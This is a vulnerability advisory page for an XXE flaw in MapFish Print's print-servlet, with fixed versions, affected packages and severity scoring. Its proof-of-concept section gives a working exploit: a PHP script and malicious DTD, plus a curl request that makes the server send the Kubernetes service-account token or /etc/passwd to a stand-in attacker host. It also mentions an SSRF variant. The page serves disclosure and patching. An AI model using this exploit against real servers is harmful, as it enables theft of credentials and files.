CVE-2026-55848 — Vulnerability in print-servlet — CVE Details
MapFish Print has XXE that allows reading arbitrary files of certain types
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.53%). Schedule for your next planned update.
Does your project use an affected org.mapfish.print:print-servlet version?
Paste your pom.xml to check it for CVE-2026-55848 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.
https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507
Details
To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.
The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.
PoC
Host this php file somewhere as xxe.php:
<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
<!ENTITY % payload SYSTEM \"file://$p\">
<!ENTITY % dtd SYSTEM \"$u\">
%dtd;
]>
<wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\">
<!-- ".str_repeat('x',200)." -->
<gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy>
</wfs:FeatureCollection>";
and beneath host this "evil.dtd"
<!ENTITY % exfil "<!ENTITY % error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;
Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)
curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'
Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.
It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://
Impact
disclose local files. blind(ish) SSRF (depends on the servers response data)
Advisory Timeline
- First published August 28, 2026 (90 days ago).
- Last revised August 28, 2026 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
<!-- Update pom.xml dependency version to 4.0.5 for org.mapfish.print:print-servlet -->
<!-- Update pom.xml dependency version to 3.28.30 for org.mapfish.print:print-lib -->
<!-- Update pom.xml dependency version to 3.30.32 for org.mapfish.print:print-servlet -->
<!-- Update pom.xml dependency version to 3.30.32 for org.mapfish.print:print-lib -->
<!-- Update pom.xml dependency version to 4.0.5 for org.mapfish.print:print-lib -->
<!-- Update pom.xml dependency version to 3.33.16 for org.mapfish.print:print-servlet -->
<!-- Update pom.xml dependency version to 3.31.24 for org.mapfish.print:print-servlet -->
<!-- Update pom.xml dependency version to 3.33.16 for org.mapfish.print:print-lib -->
<!-- Update pom.xml dependency version to 3.28.30 for org.mapfish:print.print-servlet -->
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (9)
Affects 1 ecosystem: Maven (3).
| Package | Fixed In |
|---|---|
| org.mapfish.print:print-servlet Maven · Affected: All versions | 4.0.5 |
| org.mapfish.print:print-lib Maven · Affected: 3.0, 3.1.0, 3.1.1, 3.1.2 (+43 more) | 3.28.30 |
| org.mapfish.print:print-servlet Maven · Affected: All versions | 3.30.32 |
| org.mapfish.print:print-lib Maven · Affected: All versions | 3.30.32 |
| org.mapfish.print:print-lib Maven · Affected: All versions | 4.0.5 |
| org.mapfish.print:print-servlet Maven · Affected: All versions | 3.33.16 |
| org.mapfish.print:print-servlet Maven · Affected: All versions | 3.31.24 |
| org.mapfish.print:print-lib Maven · Affected: All versions | 3.33.16 |
| org.mapfish:print.print-servlet Maven · Affected: All versions | 3.28.30 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-611XML External Entity (XXE)MITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.6 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
References
- https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68rWEB
- https://github.com/mapfish/mapfish-print/pull/4221WEB
- https://github.com/mapfish/mapfish-print/pull/4219WEB
- https://github.com/mapfish/mapfish-print/pull/4217WEB
- https://github.com/mapfish/mapfish-print/pull/4216WEB
- https://github.com/mapfish/mapfish-print/pull/4215WEB
- https://github.com/mapfish/mapfish-print/pull/4212WEB
- https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1WEB
- https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236WEB
- https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7dWEB
- https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcbWEB
- https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121WEB
- https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbecWEB
- https://github.com/mapfish/mapfish-print/releases/tag/3.28.30WEB
- https://github.com/mapfish/mapfish-print/releases/tag/3.30.32WEB
- https://github.com/mapfish/mapfish-print/releases/tag/3.31.24WEB
- https://github.com/mapfish/mapfish-print/releases/tag/4.0.5WEB
- https://github.com/mapfish/mapfish-printPACKAGE
Frequently Asked Questions
- What is CVE-2026-55848?
- MapFish Print has XXE that allows reading arbitrary files of certain types. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.6/10).
- How do I check if my project is affected by CVE-2026-55848?
- CVE-2026-55848 affects org.mapfish.print:print-servlet, org.mapfish.print:print-lib and org.mapfish:print.print-servlet. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-55848 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 38.3% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-44672CRITICAL
Mapfish Print: Remote Code Injection (RCE) in Dynamic table
- CVE-2026-61689HIGH
XWiki Platform: HQL injection in search allows unauthenticated database extraction including password hashes
- CVE-2026-107725HIGH
Hazelcast has an authorization bypass in IMap Predicates API